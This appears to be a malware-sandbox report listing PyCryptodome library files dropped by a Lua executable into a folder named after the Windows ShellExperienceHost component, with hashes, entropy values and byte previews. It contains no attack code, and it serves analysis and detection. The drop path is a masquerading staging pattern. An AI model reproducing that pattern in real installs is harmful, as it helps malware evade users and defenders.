Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................{........................'....................................................Rich............PE..d...r.!`.........." ................T.....................................................`..........................................8......\|9..d....`.......P..@............p..$....2...............................2..8............0...............................text............................... ..`.rdata.......0....... ..............@..@.data...H....@......................@....pdata..@....P.......0..............@..@.rsrc........`.......4..............@..@.reloc..$....p.......6..............@..B........................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_BLAKE2s.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	5.17157428322592
Encrypted:	false
SSDEEP:	192:405p7mr3Tutd9Pwv2aKbxdcgatX1Wmkf09L9kDLUhX:yD6tTZgtX15k+YU
MD5:	9098B9C8340047C6434825E18826CC18
SHA1:	85DDE191F6549ACA0813D8A723D39B83C61002DB
SHA-256:	825039711C334E169432A482F8B71AE735D7A1BD56552E501F6F3ECA87CF272E
SHA-512:	DEFC6852291B568793A48124184342272F4BC424F88DE82A35335D5596DFACC93A52AFC33C43337E4CEB800C5BD998493A7BA7F52C02A6027A4434D7E608FCAE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................{........................'....................................................Rich............PE..d...r.!`.........." ................T.....................................................`..........................................8.......9..d....`.......P..@............p..$....2...............................2..8............0...............................text............................... ..`.rdata.......0......................@..@.data...H....@.......,..............@....pdata..@....P......................@..@.rsrc........`.......2..............@..@.reloc..$....p.......4..............@..B........................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_MD2.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	5.171387298792714
Encrypted:	false
SSDEEP:	384:EjJzPAI2p3C2p+EhKnLg9yH8puzoFaPERIQA7qYU:gITp3pp+EhmLg9yH8puzoFaPERIQX
MD5:	BD80A82536F46D9EF6EF580FAFBF4035
SHA1:	7CC4E50851CB7FCC1508AAE4EC67A9385A66167A
SHA-256:	0BB77AE7639B5358CF99DE21002AE79C67DB9A28CBF08A85414DED9FCDDFB077
SHA-512:	07A6D7C0BAB9FBB6336F948452BF8B91E4B54B2B5F953CDDC0CEEBF171635B226DF1571B80B3CAC10645C2A9E1B0F6E453C456347F1A525B57C047254C904880
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F.f.......................................$....................................................Rich....................PE..d...l.!`.........." ................T.....................................................`..........................................9.......9..d....`.......P..(............p..$....2...............................2..8............0...............................text...h........................... ..`.rdata.......0......................@..@.data...x....@.......,..............@....pdata..(....P......................@..@.rsrc........`.......2..............@..@.reloc..$....p.......4..............@..B................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_MD4.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	5.089720168158249
Encrypted:	false
SSDEEP:	192:cE4+jfKIb3gudUPpwVp1sAD7I/9hAkzTOre5QDLU+db:NjJzPQwVp1sAD7Kvpvv5uUob
MD5:	2C8D415E6D26854D288CDE7902216E89
SHA1:	5545E127AF8557B84366A175575DFE92C29777D5
SHA-256:	F664DB41B65E8B5460F91F0DFD2CBF25A86D985D0E03F75E23B6A0C17A68EF07
SHA-512:	941E346049C2ECC914B28EC6EAEAC93A6024A593A62204FA50D851190A0C4F000CC7E26DC10147B49E7D64828477301A238D45C91C2D650FFAF4E28F46B6ED92
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F.f.......................................$....................................................Rich....................PE..d...m.!`.........." ................T.....................................................`..........................................8.......8..d....`.......P..(............p..$....1...............................2..8............0...............................text............................... ..`.rdata.......0......................@..@.data........@.......,..............@....pdata..(....P......................@..@.rsrc........`.......2..............@..@.reloc..$....p.......4..............@..B................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_MD5.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15360
Entropy (8bit):	5.4331159004042915
Encrypted:	false
SSDEEP:	192:79FZ/KFjb3OuTPU84At56BTBvzcuiDSjeoGCQUPTrLFDLUEPLdN:ZwztA8Tt5OwuiDSyoGZmXdUEPB
MD5:	2F4C07B5FC3C6245B0E1269C0D1A5A97
SHA1:	26EA9BAABADF63E5A44F3B606139F249BD120B99
SHA-256:	EFB961372F6CE102A9836B63038AE1385B408EF8DCF2DE7238B2403A6E987B27
SHA-512:	21E1CCBF238FD59C1CE80543A8F21858AE6E15AD1E8536A0144EC06791CD2488822AE87D84E331E9135142C76506E68FAD7DBB4B26428FF3AC0D43F49E8FCC92
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F.f.......................................$....................................................Rich....................PE..d...m.!`.........." ..... ..........T.....................................................`.........................................P8...... 9..d....`.......P..X............p..$....1...............................1..8............0...............................text............ .................. ..`.rdata..p....0.......$..............@..@.data........@.......2..............@....pdata..X....P.......4..............@..@.rsrc........`.......8..............@..@.reloc..$....p.......:..............@..B................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_RIPEMD160.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13824
Entropy (8bit):	5.100861223598239
Encrypted:	false
SSDEEP:	192:h05p7mr3Tutd9Pgv239k9UgPKsVQJuJk7+rDLU8:hD6tD3G9tPKsVQJuDDU
MD5:	13AC3BDF6EF8E084C71570D0A91712E1
SHA1:	3B8E64C60FF75EF4915C9428C7C2C6C9056E2EEA
SHA-256:	D253DBE9E7BF4ECFC80210B312DC9889BEED5D428518058E98639F44585FE030
SHA-512:	6AB13AE675742D255D9EE458EAC749B12173999BE4923E6965D94FC2226F39456B047A2FDF682F99ED5F5967DA7F58252808826EABD587306D7B7B10F7A495E8
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................{........................'....................................................Rich............PE..d...q.!`.........." ......... ......T.....................................................`.........................................p9......H:..d....`.......P...............p..$...@3..............................`3..8............0...............................text...X........................... ..`.rdata.......0......................@..@.data...H....@.......,..............@....pdata.......P......................@..@.rsrc........`.......2..............@..@.reloc..$....p.......4..............@..B........................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_SHA1.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	17920
Entropy (8bit):	5.658414885758833
Encrypted:	false
SSDEEP:	192:vj51JwTx7uuj/krY1ZLhGZo2R1J+0eDPSgkNZuOdlptvTLZB5b+vDLUE+Ea:CxQr89hTOJ+0QPSfu6rzZ+/UE+
MD5:	D2EF20FE88C483DC2588C03876058AFD
SHA1:	86A7A9E71DF94FEC73DD90A9A4CF5B7901CE622D
SHA-256:	6CC9CFA3C9739B545808E814A661B5B54E9127B057CE503024E515648B7A4A33
SHA-512:	D1EA9F01EA1A16B23B6219492B3D2A27B017EA8D5511549C82FE3A58DA988B890E52D144630C55FD845B8D079C4B6D3FD2172020CECC5F6DD6A05B1495D18C71
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F.f.......................................$....................................................Rich....................PE..d...m.!`.........." ...............T.....................................................`.........................................PH......(I..d....p.......`..X...............$....A...............................A..8............@...............................text....)......................... ..`.rdata..x....@......................@..@.data........P.......<..............@....pdata..X....`.......>..............@..@.rsrc........p.......B..............@..@.reloc..$............D..............@..B................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_SHA224.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	21504
Entropy (8bit):	5.882674376485668
Encrypted:	false
SSDEEP:	384:vRlEGHXgKXqHGcvYHp5RYcARQOj4MSTjqgPmEOsvUk:XdHXgP/Ytswvdek
MD5:	AAECC8D543E782F3088DDF3A8B6BE854
SHA1:	A05FF079725B28A346009A6D2AF96628D0AE5FE0
SHA-256:	D6AB77B3FC17524E77434B6D9D22DEEB0A2980004F251BB9ED5AF2DDC8910F91
SHA-512:	C2F9B85EC21257E6AF21708140380F0F12C23AFC471AABD67613CC716E5B6967E964AE815D65FC5931BE83C75D86FB3B52F7FB4F93F0544B06B05DDDBE7AD478
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F.f.......................................$....................................................Rich....................PE..d...o.!`.........." .....6... ......T.....................................................`..........................................Z.......Z..d............p..................$....R...............................R..8............P...............................text....5.......6.................. ..`.rdata..8....P.......:..............@..@.data...(....`.......J..............@....pdata.......p.......L..............@..@.rsrc................P..............@..@.reloc..$............R..............@..B................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_SHA256.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	21504
Entropy (8bit):	5.8852874125857255
Encrypted:	false
SSDEEP:	384:+RlEGHXiKXqHGcvYHp5RYcARQOj4MSTjqgPmE89Uk:QdHXiP/YtswvdLk
MD5:	363B8E9F9A119EE0A52D8E75083F3F5D
SHA1:	E0F4316F5AFD2ABC31047B50FDD7910D148A7611
SHA-256:	1B36AFC5B2F6F46D1A2457D56F276F5B5FFED066955ACEC911B9B7973D1E92B3
SHA-512:	3862436B88DAE084993772D6EBDD3C7A892A562045CE448BC6419C7C21C797C806EF6030157C8DAF2E85A36B13ED0CE4475EB00E61EE0CBEC4DB2677E780F177
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F.f.......................................$....................................................Rich....................PE..d...n.!`.........." .....6... ......T.....................................................`..........................................Z.......Z..d............p..................$....R...............................R..8............P...............................text....5.......6.................. ..`.rdata..8....P.......:..............@..@.data...(....`.......J..............@....pdata.......p.......L..............@..@.rsrc................P..............@..@.reloc..$............R..............@..B................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_SHA384.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26624
Entropy (8bit):	5.843149655925948
Encrypted:	false
SSDEEP:	768:RHJh9k54Stui0gel9soFdkO66MlPGXmXcCktk:RH6Ju/FZ6nPxMFk
MD5:	CC4390EA93568D232C22680D2E51D605
SHA1:	5B8F5A3C6EB961EFAFA89A8E94CF2950380CA297
SHA-256:	F6171DDA2B244CA477FCFEBA269EDE4C3A6A019C7BEDA6CC543C6FFA76E297F1
SHA-512:	CD523086279D7E85171B40D68EEC07ACD055784817BB23660DBAE139639EDC16F228FAD8A600EB28BD358416C25FB0E203F5131616CC786EDCC7CE582CC4A96A
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F.f.......................................$....................................................Rich....................PE..d...p.!`.........." .....H..."......T.....................................................`..........................................k......hl..d...............................$...pd...............................d..8............`...............................text....F.......H.................. ..`.rdata.......`.......L..............@..@.data...(............^..............@....pdata...............`..............@..@.rsrc................d..............@..@.reloc..$............f..............@..B................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_SHA512.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	26624
Entropy (8bit):	5.897044578820529
Encrypted:	false
SSDEEP:	768:AxpB9/i4z5tui0gel9soFdkO66MlPGXmXcPtBJkS:Ax11u/FZ6nPxM9k
MD5:	64DD7510BCEA12F282B584C6F6D99595
SHA1:	AB2073237FDE1B51AC65EF0F6B2A6C14A99F1810
SHA-256:	0DB587B58C885C0B42C337F1883FC2E50998DC9DBCB556368A833957EFF9ED5F
SHA-512:	29EE95875EED4D077BAA2F942DFBDD917620D267592B7AB0C9267791C2DE9EAF2834AAC843EC88340C625ECD8F2E017D92FB63F0C780DC38ACF0A59FDBA993BE
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F.f.......................................$....................................................Rich....................PE..d...q.!`.........." .....H..."......T.....................................................`..........................................l.......l..d...............................$....d...............................e..8............`...............................text...xG.......H.................. ..`.rdata..H....`.......L..............@..@.data...(............^..............@....pdata...............`..............@..@.rsrc................d..............@..@.reloc..$............f..............@..B................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\__init__.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1141
Entropy (8bit):	5.16253854892868
Encrypted:	false
SSDEEP:	24:lcAXDrFR/F2IPBiCXCpjf29QHupsUre38Ok41+dpo3oq/FyIj:KIB0jcQHMsvI/S3oCFXj
MD5:	9BCEF8B4D566C8F14BA13D91E39592DE
SHA1:	7BEAB34CD9F49AEA286AD3CF00C8884AF4D7284E
SHA-256:	8044488F8C54C0A9E8BB350EE87C13AF8C7F3C0BCCD953565222AE2511A5E135
SHA-512:	7F6D65B28D57E01725F1E55DF370C45605C1115C252DBDE00786765E7C5446CBDC244BDAD6DC3991224F568D77FFDE5FA1DAC3AD638C93BCFCCBBBE4B061BAFC
Malicious:	false
Preview:	# -- coding: utf-8 --..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE..# SOFTWARE...# ================================================================

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_ghash_clmul.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	12800
Entropy (8bit):	4.957148567482555
Encrypted:	false
SSDEEP:	192:6UBpDmr37utd9PHv2O3sER2fi3s4DLUgdLl:wDit6O3sa4gUO
MD5:	6FFDCBB8B3860FAB46A4666C97F17EAF
SHA1:	87DEFB8A639E0AF86B6943490EB5456D6D63183E
SHA-256:	2EA2B17AAAC9E572EEF1239B01E8AD378829B765958FD1BF306F39983A76F944
SHA-512:	769941E8AAC1075415F27C272510EDA7C6156A0F29F0A19523251367946340EF53315771E6985C91FF4314BA1FCB939B1D5CD197DCBDAAED272733C9875E9B5B
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$..............................@......................@.......@.......@.......f.......f.......f.......f.......Rich............................PE..d...s.!`.........." ................T.....................................................`..........................................8.......8..d....`.......P...............p..$....1...............................1..8............0...............................text............................... ..`.rdata.......0......................@..@.data...H....@.......(..............@....pdata.......P.......*..............@..@.rsrc........`......................@..@.reloc..$....p.......0..............@..B........................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_ghash_portable.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	13312
Entropy (8bit):	5.015141457457203
Encrypted:	false
SSDEEP:	192:QUBpDmr37utd9PVv27c0qKzLF4DmxXUcDLU/:KDitwzvV4DaEiU/
MD5:	35025BBDBEA7932BBE4E79627250DC46
SHA1:	4082C2ABA70D98FCF6EC2B82FF4CC6692D7B56AC
SHA-256:	800CC846930302519335AFDD276F9CBBE5F940FE1E5035CB6BAF4FB736D37434
SHA-512:	A65E3C17E2EF456258EEC06E81FCFA9AF97A0D13B05EACA96935E371AA5E768EBA9FA2E00F6CB5930D25D57380654CD2B8C8CB680A686C912E5F36A3046E0DB9
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F................K........................&.......................................'............Rich....................PE..d...s.!`.........." ................T.....................................................`..........................................7.......8..d....`.......P..X............p..$....1...............................1..8............0...............................text............................... ..`.rdata.......0......................@..@.data...H....@.......*..............@....pdata..X....P.......,..............@..@.rsrc........`.......0..............@..@.reloc..$....p.......2..............@..B................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_keccak.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	15360
Entropy (8bit):	5.2438990151876474
Encrypted:	false
SSDEEP:	192:eUN0iKNb3NuUPyxfFNhoCoK7e+TcBXJ2kMQ75iUnElDLUH:PYz8JpF39oK6+QBXJ2k775PKU
MD5:	22149EEC9377CFFD88728EBEBC484057
SHA1:	B743CF6DC15E3C1642D84686B05720AE5F2BCDC4
SHA-256:	DB926D9FAD6B42B69B8D1122F061F45562AD52C10380B3CBAAFA077E03BC0DEF
SHA-512:	81D67825EEC6D84D199F59AD8D3FFA3D829ED9C331DC491C785E1579325A0C9F2618908DCDE72BB76EE3D54757432CB923BE07FA7A4CCE454103B5CC276B0869
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F.f.......................................$....................................................Rich....................PE..d...q.!`.........." ..... ..........T.....................................................`..........................................8.......9..d....`.......P..d............p..$...p2...............................2..8............0...............................text............ .................. ..`.rdata.......0.......$..............@..@.data........@.......2..............@....pdata..d....P.......4..............@..@.rsrc........`.......8..............@..@.reloc..$....p.......:..............@..B................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\_poly1305.pyd Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	PE32+ executable (DLL) (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	14848
Entropy (8bit):	5.254366768987153
Encrypted:	false
SSDEEP:	192:k39lJPKBb3+ujPH/41fPnVSEsV3+ldpCAr18vOjpDLUFDdA:09wzdz/afPCV3Ydj2vMUFpA
MD5:	094C656C177D9CB07111D4ED3439B9FF
SHA1:	1EA5A3E6A9E23F6426C22AA95E81E3C7595FF72D
SHA-256:	A410F5A5A3566025FAA30278001EBB26C6E1EFF07FC17B092D96F0443190D526
SHA-512:	5E9509E94F40B22FFE49DA307316D99C0E7F0C9F79C14E28660362E42A52BB713CC3516C9812497C65240B2A3190912714BE34A54BF17B160CAFBE6CC39BD36D
Malicious:	false
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......F.f.......................................$....................................................Rich....................PE..d...s.!`.........." ................T.....................................................`..........................................8......h9..d....`.......P..\|............p..$....1...............................1..8............0...............................text............................... ..`.rdata.......0......."..............@..@.data........@.......0..............@....pdata..\|....P.......2..............@..@.rsrc........`.......6..............@..@.reloc..$....p.......8..............@..B................................................................................................................................................................................................................................................

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\keccak.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	7279
Entropy (8bit):	4.726887025578257
Encrypted:	false
SSDEEP:	96:M7DqrYJALrYJHdt3EHGuIWHgkIOqDYSs8JlOixIVmkO/Ym3RUaIDrFX2dlPcQ:4qrskrs9t3q/INDtOi7kO/vBiMUQ
MD5:	8D69B43D82C4A1112BB8FB37AD2E8F97
SHA1:	BE5AADC58B4F655EA521CE3DA424B19142F5492E
SHA-256:	A936C23B1564E3E08F7F615B34A15A1F213969C85E6287A03BBC54CB51950783
SHA-512:	0ADD028046EFB02D00FD024039AB06C317B90629D6A085D2EDE93945C2E86134F0F2678B44E8D96691DC9D8A5A111DBECEB5FD0D4BE43E70FE0755596ECCAE34
Malicious:	false
Preview:	# ===================================================================..#..# Copyright (c) 2015, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE..# COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FO

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Hash\keccak.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	764
Entropy (8bit):	4.362163899247177
Encrypted:	false
SSDEEP:	12:1REYBhvIY3PHpRyD1Ap1uw+z65JX3LBq3v37lz04LBK3P3blzO:1REYT3v/IALWz6LLBkPhz04LBEvBzO
MD5:	0A2310BA7677F27E22A421132A86D382
SHA1:	A976C8749DEE4E295DD8C808E2A7A47922E86BB4
SHA-256:	3A1DB3E7321EFB30C4AAF0FAD5728728C7AADCEBBBE91E4272940DB1F9A677F9
SHA-512:	6526BCDFF7B41EB7E94F83A2E1A770D6216E4C575410E8689C7119F6A53170CAA5B2F8AED037EB5AB40C7CA361C2E7208BF3F19C69D8E619150A1C68779FE22C
Malicious:	false
Preview:	from typing import Union, Any....Buffer = Union[bytes, bytearray, memoryview]....class Keccak_Hash(object):.. digest_size: int.. def __init__(self,.. data: Buffer,.. digest_bytes: int,.. update_after_digest: bool) -> None: ..... def update(self, data: Buffer) -> Keccak_Hash: ..... def digest(self) -> bytes: ..... def hexdigest(self) -> str: ..... def new(self,.. data: Buffer = ...,.. digest_bytes: int = ...,.. digest_bits: int = ...,.. update_after_digest: bool = ...) -> Keccak_Hash: .......def new(data: Buffer = ...,.. digest_bytes: int = ...,.. digest_bits: int = ...,.. update_after_digest: bool = ...) -> Keccak_Hash: .....

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Protocol\KDF.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, UTF-8 Unicode text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	20403
Entropy (8bit):	4.828300547674679
Encrypted:	false
SSDEEP:	384:WeQNF6aoMwVVlrV4ENoDGQ/QNzRS1zyid3KKKXV+:9kIV4QoDG5zRCnKl+
MD5:	558D7427CDDA1443A0F04B07E29F0308
SHA1:	F7BC082E97B56CFA4CF48173470F726A965C9B92
SHA-256:	6D39CC552C6C0240F3A76EC3A41B6403AE50F9B36102BCEDB763A78F1B2BEA35
SHA-512:	17742F3965095CCEFB34B70EFABAC1C20B8F726C4D7DE65B75C28D63E1F8B299FB5C47F40FD8ED2EBE8A304CF41A9B0A93BD680C079C3D14B560E1DE523C93CB
Malicious:	false
Preview:	# coding=utf-8..#..# KDF.py : a collection of Key Derivation Functions..#..# Part of the Python Cryptography Toolkit..#..# ===================================================================..# The contents of this file are dedicated to the public domain. To..# the extent that dedication to the public domain is not available,..# everyone is granted a worldwide, perpetual, royalty-free,..# non-exclusive license to exercise all rights associated with the..# contents of this file for any purpose whatsoever...# No rights are reserved...#..# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,..# EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF..# MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND..# NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS..# BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN..# ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN..# CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DE

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Protocol\KDF.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	1407
Entropy (8bit):	5.023782115909509
Encrypted:	false
SSDEEP:	24:1RM7CgiV+IcH9wNvfn2ucHM8wsSvfqAtSQKI0roIGcih14XLkjcHhKrLkNnnQAEv:cc8IA4B0Aq3myAjhANxt9zK
MD5:	F90347222F272FEE03536382DB0E55AE
SHA1:	30A8A0FE6F04A19828A8756EE5522865710ABDB7
SHA-256:	CB0A9EEC76345D2A224B032FB96FB530F20F4974C994F2D12DAA7BAC82F69DDB
SHA-512:	A457908E31D042781BB94D2E3CDE94C61222661CAF3161D5143D021082CAC7FCA02BE6365665A2D44DBD4217A3DFA63ED57931B07B28244A87C8C225CBF2AC6F
Malicious:	false
Preview:	from types import ModuleType..from typing import Optional, Callable, Tuple, Union, Dict, Any....RNG = Callable[[int], bytes]....def PBKDF1(password: str, salt: bytes, dkLen: int, count: Optional[int]=1000, hashAlgo: Optional[ModuleType]=None) -> bytes: .....def PBKDF2(password: str, salt: bytes, dkLen: Optional[int]=16, count: Optional[int]=1000, prf: Optional[RNG]=None, hmac_hash_module: Optional[ModuleType]=None) -> bytes: .......class _S2V(object):.. def __init__(self, key: bytes, ciphermod: ModuleType, cipher_params: Optional[Dict[Any, Any]]=None) -> None: ....... @staticmethod.. def new(key: bytes, ciphermod: ModuleType) -> None: ..... def update(self, item: bytes) -> None: ..... def derive(self) -> bytes: .......def HKDF(master: bytes, key_len: int, salt: bytes, hashmod: ModuleType, num_keys: Optional[int]=1, context: Optional[bytes]=None) -> Union[bytes, Tuple[bytes, ...]]: .......def scrypt(password: str, salt: str, key_len: int, N: int, r: int, p: int, num_keys:

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Protocol\SecretSharing.py Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	9056
Entropy (8bit):	4.7874787545071635
Encrypted:	false
SSDEEP:	192:oqrskrs9t3q/IG1RYr24zEqG5TFiW4m1DH/T:Xrskrs9VqPaQqSTFiWV7
MD5:	8F0F67CEDF28EC2C022DC31587D03BB5
SHA1:	86EC75E3ACBF09488E0592A026F40FF26A27BBF5
SHA-256:	4DB85B5FF214482B6A912C0E90E73F8164B54AC4CC69390DE67024A4B6FD164D
SHA-512:	B6EC5234AF9CC7C513D7FD95BD1638177B0778FA65E19813319B7951B3846F3F83BADC4CFD85FA465CB98886CA73F206228FA336F0F62FFA8E23E455A1BC5BE0
Malicious:	false
Preview:	#..# SecretSharing.py : distribute a secret amongst a group of participants..#..# ===================================================================..#..# Copyright (c) 2014, Legrandin <helderijs@gmail.com>..# All rights reserved...#..# Redistribution and use in source and binary forms, with or without..# modification, are permitted provided that the following conditions..# are met:..#..# 1. Redistributions of source code must retain the above copyright..# notice, this list of conditions and the following disclaimer...# 2. Redistributions in binary form must reproduce the above copyright..# notice, this list of conditions and the following disclaimer in..# the documentation and/or other materials provided with the..# distribution...#..# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS..# "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT..# LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS..# FOR A PARTICULAR PURPOSE ARE DI

C:\ProgramData\ShellExperienceHost\Lib\site-packages\Crypto\Protocol\SecretSharing.pyi Download File
Process:	C:\ProgramData\lua\lua.exe
File Type:	Python script, ASCII text executable, with CRLF line terminators
Category:	dropped
Size (bytes):	820
Entropy (8bit):	4.725635475246741
Encrypted:	false
SSDEEP:	24:1RElqMAWKVAATGujmo2Iu9DSjYlQTKUajh2FK4AghCN:XMom87jm5Uaj54zY
MD5:	2C29B85AA1A7948F90DCFD8358D8E6B4
SHA1:	A3915B73FF0D5551F611428FEDB436617E35B93F
SHA-256:	17BB4B071A5BAAB986780546A7B0F506F186A683CB2A2A9C9C3B727C3D9C0921
SHA-512:	665A60174EC4D827D95F11F2B88229E943EFF1C2C60F463DD710546970261FE8D8BBF2B527AA82ECB18F25BB1310ED11AFFE8997EC997DEA6D04D4A908EF96C4
Malicious:	false
